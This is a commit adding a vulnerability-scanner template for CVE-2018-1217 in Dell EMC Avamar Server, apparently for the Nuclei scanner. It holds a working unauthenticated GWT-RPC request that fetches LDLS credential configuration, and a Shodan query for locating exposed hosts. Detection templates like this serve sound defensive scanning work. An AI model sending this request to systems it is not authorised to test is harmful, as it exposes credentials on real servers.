Create CVE-2018-1217.yaml

2026-11-07 08:36:19 -10:00 · 2025-05-31 12:38:53 +05:30
1 changed files with 51 additions and 0 deletions
@@ -0,0 +1,51 @@
+id: CVE-2018-1217
+
+info:
+  name: Dell EMC Avamar Server - Missing Access Control in LDLS
+  author: pussycat0x
+  severity: critical
+  description: |
+    Dell EMC Avamar Server 7.3.1, 7.4.1, 7.5.0, and Dell EMC Integrated Data Protection Appliance 2.0 and 2.1 contain a missing access control check vulnerability caused by inadequate credential protection in Local Download Service, letting remote unauthenticated attackers read or modify LDLS credentials.
+  reference:
+    - https://www.exploit-db.com/exploits/44441/
+    - http://seclists.org/fulldisclosure/2018/Apr/14
+    - http://www.securitytracker.com/id/1040641
+    - https://github.com/ARPSyndicate/cvemon
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2018-1217
+    cwe-id: CWE-862
+    epss-score: 0.34948
+    epss-percentile: 0.96806
+    cpe: cpe:2.3:a:dell:emc_avamar:7.3.1:*:*:*:*:*:*:*
+  metadata:
+    vendor: dell
+    product: emc_avamar
+    shodan-query: "title:\"Avamar Installation Manager\""
+  tags: cve,cve2018,dell,emc,avamar,idpa,unauth,credentials
+
+http:
+  - raw:
+      - |
+        POST /avi/avigui/avigwt HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/x-gwt-rpc; charset=utf-8
+        X-GWT-Module-Base: {{RootURL}}/avi/avigui/
+        Referer: https://{{RootURL}}/avi/avigui.html
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-US,en;q=0.5
+        Content-Length: 192
+
+        7|0|6|https://{{Hostname}}/avi/avigui/|60AF6BC6976F9B1F05AC454813F5324D|com.avamar.avinstaller.gwt.shared.AvinstallerService|getLDLSConfig|java.lang.String/2004016611|{{Hostname}}|1|2|3|4|2|5|5|6|0|
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'OK[1,["true"],0,7]'
+
+      - type: status
+        status:
+          - 200